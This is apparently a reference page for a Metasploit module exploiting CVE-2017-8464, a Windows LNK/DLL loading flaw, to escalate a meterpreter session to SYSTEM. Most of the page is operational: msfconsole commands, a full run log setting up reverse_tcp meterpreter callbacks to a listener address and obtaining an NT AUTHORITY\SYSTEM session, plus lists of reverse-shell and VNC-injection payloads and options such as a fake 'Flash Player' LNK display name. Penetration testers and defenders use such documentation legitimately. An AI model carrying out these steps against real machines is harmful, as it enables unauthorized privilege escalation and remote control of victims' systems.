LNK Code Execution Vulnerability - Metasploit


This page contains detailed information about how to use the exploit/windows/local/cve_2017_8464_lnk_lpe metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: LNK Code Execution Vulnerability
Module: exploit/windows/local/cve_2017_8464_lnk_lpe
Source code: modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb
Disclosure date: 2017-06-13
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-0096, CVE-2017-8464

This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL. This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is similar except an additional SpecialFolderDataBlock is included. The folder ID set in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary DLL file. The PATH option must be an absolute path to a writeable directory which is indexed for searching. If no PATH is specified, the module defaults to %USERPROFILE%.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Stability:

  • crash-service-restarts: Module may crash the service, but the service restarts.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/windows/local/cve_2017_8464_lnk_lpe
msf exploit(cve_2017_8464_lnk_lpe) > show targets
    ... a list of targets ...
msf exploit(cve_2017_8464_lnk_lpe) > set TARGET target-id
msf exploit(cve_2017_8464_lnk_lpe) > show options
    ... show and set options ...
msf exploit(cve_2017_8464_lnk_lpe) > set SESSION session-id
msf exploit(cve_2017_8464_lnk_lpe) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Description


This module is a Windows local exploit version of the existing file format module for CVE-2017-8464. The module works by dropping the specially crafted LNK file and DLL to disk, which causes SearchProtocolHost.exe to parse the LNK file and thus load the DLL via the vulnerability. Due to SearchProtocolHost.exe running as SYSTEM, this can be used to elevate privileges.

The original DLL template needed some significant reworking to make it compatible for execution within SearchProtocolHost.exe. The payload was originally failing in the hollowed child rundll32.exe process with a denied error from winsock. This was addressed by checking if the process which loaded the crafted DLL is SearchProtocolHost.exe and when it is, it opens the token of another SYSTEM process and passes it to CreateProcessAsUser for the payload to work. When the DLL is loaded into another process or is not running as SYSTEM, this step is skipped and NULL is passed as the token.

Finally a thread is spawned to keep a module reference and monitor the child process. This is for synchronization to prevent the payload from being executed in rapid succession from a single exploitation attempt. The mutex was also updated to the constant of MUTEX!!! to leverage Metasploit's builtin mutex name randomization, which ensures that a name is unique per module run but not globally unique.

Vulnerable Systems


Tested and works on Windows 7x64 SP0 Windows 7x64 SP1 Windows 8x64 Windows 8.1x64 Windows 10x64 Build 1511 Windows 10x64 Build 1607 Windows 10x64 Build 1703

Running Example:


> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
> set LHOST 192.168.135.112
LHOST => 192.168.135.112
> set LPORT 30001
LPORT => 30001
> show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.135.112  yes       The listen address
   LPORT     30001            yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


[*] > Ruby Code (13 bytes)
> run -z
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.135.112:30001
[*] Sending stage (205379 bytes) to 192.168.134.133
[*] Meterpreter session 1 opened (192.168.135.112:30001 -> 192.168.134.133:49178) at 2017-11-06 10:22:02 -0800
> sysinfo
Computer        : WIN7X64-SP0
OS              : Windows 7 (Build 7600).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 4
Meterpreter     : x64/windows
> sessions -l

Active sessions
===============

  Id  Type                     Information                        Connection
  --  ----                     -----------                        ----------
  1   meterpreter x64/windows  WIN7X64-SP0\msfuser @ WIN7X64-SP0  192.168.135.112:30001 -> 192.168.134.133:49178 (192.168.134.133)

> use exploit/windows/local/cve_2017_8464_lnk_lpe
> set session 1
session => 1
> set target 0
target => 0
> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
> set lhost 192.168.135.112
lhost => 192.168.135.112
> set lport 30002
lport => 30002
> set verbose true
verbose => true
> show options

Module options (exploit/windows/local/cve_2017_8464_lnk_lpe):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DLLNAME                    no        The DLL file containing the payload
   FILENAME                   no        The LNK file
   PATH                       no        An explicit path to where the files should be written to
   SESSION   1                yes       The session to run this module on.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.135.112  yes       The listen address
   LPORT     30002            yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x64


> run -j
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 192.168.135.112:30002
[*] Generating LNK file to load: C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
[*] Sending stage (205379 bytes) to 192.168.134.133
[*] Meterpreter session 2 opened (192.168.135.112:30002 -> 192.168.134.133:49179) at 2017-11-06 10:23:03 -0800
[*] Waiting 15s before file cleanup...
[+] Deleted C:\Users\msfuser\HADoIQMbEQDpbbRn.lnk
[+] Deleted C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
> sessions -l

Active sessions
===============

  Id  Type                     Information                        Connection
  --  ----                     -----------                        ----------
  1   meterpreter x64/windows  WIN7X64-SP0\msfuser @ WIN7X64-SP0  192.168.135.112:30001 -> 192.168.134.133:49178 (192.168.134.133)
  2   meterpreter x64/windows  NT AUTHORITY\SYSTEM @ WIN7X64-SP0  192.168.135.112:30002 -> 192.168.134.133:49179 (192.168.134.133)

> getuid
Server username: WIN7X64-SP0\msfuser
Server username: NT AUTHORITY\SYSTEM
> getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
> getuid
Server username: NT AUTHORITY\SYSTEM
> exit -y

Compiling instructions


cd ./external/source/exploits/cve-2017-8464 ./build.sh

(Requires mingw-w64 package)

Go back to menu.

Msfconsole Usage


Here is how the windows/local/cve_2017_8464_lnk_lpe exploit module looks in the msfconsole:

msf6 > use exploit/windows/local/cve_2017_8464_lnk_lpe

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2017_8464_lnk_lpe) > show info

       Name: LNK Code Execution Vulnerability
     Module: exploit/windows/local/cve_2017_8464_lnk_lpe
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-06-13

Provided by:
  Uncredited
  Yorick Koster
  Spencer McIntyre

Module side effects:
 artifacts-on-disk

Module stability:
 crash-service-restarts

Available targets:
  Id  Name
  --  ----
  0   Windows x64
  1   Windows x86

Check supported:
  Yes

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  DLLNAME                    no        The DLL file containing the payload
  FILENAME                   no        The LNK file
  PATH                       no        An explicit path to where the files should be written to
  SESSION                    yes       The session to run this module on.

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability in the handling of Windows 
  Shortcut files (.LNK) that contain a dynamic icon, loaded from a 
  malicious DLL. This vulnerability is a variant of MS15-020 
  (CVE-2015-0096). The created LNK file is similar except an 
  additional SpecialFolderDataBlock is included. The folder ID set in 
  this SpecialFolderDataBlock is set to the Control Panel. This is 
  enough to bypass the CPL whitelist. This bypass can be used to trick 
  Windows into loading an arbitrary DLL file. The PATH option must be 
  an absolute path to a writeable directory which is indexed for 
  searching. If no PATH is specified, the module defaults to 
  %USERPROFILE%.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-8464
  https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464
  http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt
  https://msdn.microsoft.com/en-us/library/dd871305.aspx
  http://www.geoffchappell.com/notes/security/stuxnet/ctrlfldr.htm
  https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf

Module Options


This is a complete list of options available in the windows/local/cve_2017_8464_lnk_lpe exploit:

msf6 exploit(windows/local/cve_2017_8464_lnk_lpe) > show options

Module options (exploit/windows/local/cve_2017_8464_lnk_lpe):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DLLNAME                    no        The DLL file containing the payload
   FILENAME                   no        The LNK file
   PATH                       no        An explicit path to where the files should be written to
   SESSION                    yes       The session to run this module on.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows x64

Advanced Options


Here is a complete list of advanced options supported by the windows/local/cve_2017_8464_lnk_lpe exploit:

msf6 exploit(windows/local/cve_2017_8464_lnk_lpe) > show advanced

Module advanced options (exploit/windows/local/cve_2017_8464_lnk_lpe):

   Name                    Current Setting               Required  Description
   ----                    ---------------               --------  -----------
   ContextInformationFile                                no        The information file that contains context information
   DisablePayloadHandler   false                         no        Disable the handler code for the selected payload
   EXE::Custom                                           no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                         no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                         no        Use the default template in case the specified one is missing
   EXE::Inject             false                         no        Set to preserve the original EXE function
   EXE::OldMethod          false                         no        Set to use the substitution EXE generation method.
   EXE::Path                                             no        The directory in which to look for the executable template
   EXE::Template                                         no        The executable template file name.
   EnableContextEncoding   false                         no        Use transient context when encoding payloads
   FileDropperDelay        15                            no        Delay in seconds before attempting cleanup
   LnkComment              Manage Flash Player Settings  yes       The comment to use in the generated LNK file
   LnkDisplayName          Flash Player                  yes       The display name to use in the generated LNK file
   MSI::Custom                                           no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                         no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                             no        The directory in which to look for the msi template
   MSI::Template                                         no        The msi template file name
   MSI::UAC                false                         no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false                         no        Enable detailed status messages
   WORKSPACE                                             no        Specify the workspace for this module
   WfsDelay                30                            no        Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/local/cve_2017_8464_lnk_lpe module can exploit:

msf6 exploit(windows/local/cve_2017_8464_lnk_lpe) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows x64
   1   Windows x86

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/cve_2017_8464_lnk_lpe exploit:

msf6 exploit(windows/local/cve_2017_8464_lnk_lpe) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   4   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   5   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   6   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   8   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   9   payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   10  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   11  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   18  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   19  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   20  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   21  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   22  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   23  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   24  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   25  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   26  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   27  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   28  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   29  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   30  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   31  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   32  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   33  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   34  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   35  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   36  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   37  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   38  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   39  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   40  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   41  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   42  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   43  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   44  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   45  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   46  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   47  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   48  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   49  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   50  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   51  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   52  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   53  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   54  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   55  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/local/cve_2017_8464_lnk_lpe exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/local/cve_2017_8464_lnk_lpe) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Session is already elevated


Here is a relevant code snippet related to the "Session is already elevated" error message:

98:	    name
99:	  end
100:	
101:	  def exploit
102:	    if is_system?
103:	      fail_with(Failure::None, 'Session is already elevated')
104:	    end
105:	
106:	    if session.platform != 'windows'
107:	      fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
108:	    end

This exploit requires a native Windows meterpreter session


Here is a relevant code snippet related to the "This exploit requires a native Windows meterpreter session" error message:

102:	    if is_system?
103:	      fail_with(Failure::None, 'Session is already elevated')
104:	    end
105:	
106:	    if session.platform != 'windows'
107:	      fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
108:	    end
109:	
110:	    if check == Exploit::CheckCode::Safe
111:	      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
112:	    end

Exploit not available on this system.


Here is a relevant code snippet related to the "Exploit not available on this system." error message:

106:	    if session.platform != 'windows'
107:	      fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
108:	    end
109:	
110:	    if check == Exploit::CheckCode::Safe
111:	      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
112:	    end
113:	
114:	    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
115:	      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session')
116:	    elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86

Running against WOW64 is not supported, please get an x64 session


Here is a relevant code snippet related to the "Running against WOW64 is not supported, please get an x64 session" error message:

110:	    if check == Exploit::CheckCode::Safe
111:	      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
112:	    end
113:	
114:	    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
115:	      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session')
116:	    elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
117:	      fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
118:	    elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
119:	      fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
120:	    end

Session host is x64, but the target is specified as x86


Here is a relevant code snippet related to the "Session host is x64, but the target is specified as x86" error message:

112:	    end
113:	
114:	    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
115:	      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session')
116:	    elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
117:	      fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
118:	    elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
119:	      fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
120:	    end
121:	
122:	    path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')

Session host is x86, but the target is specified as x64


Here is a relevant code snippet related to the "Session host is x86, but the target is specified as x64" error message:

114:	    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
115:	      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session')
116:	    elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
117:	      fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
118:	    elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
119:	      fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
120:	    end
121:	
122:	    path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')
123:	    arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
124:	    datastore['EXE::Path'] = path

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Uncredited
  • Yorick Koster
  • Spencer McIntyre

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.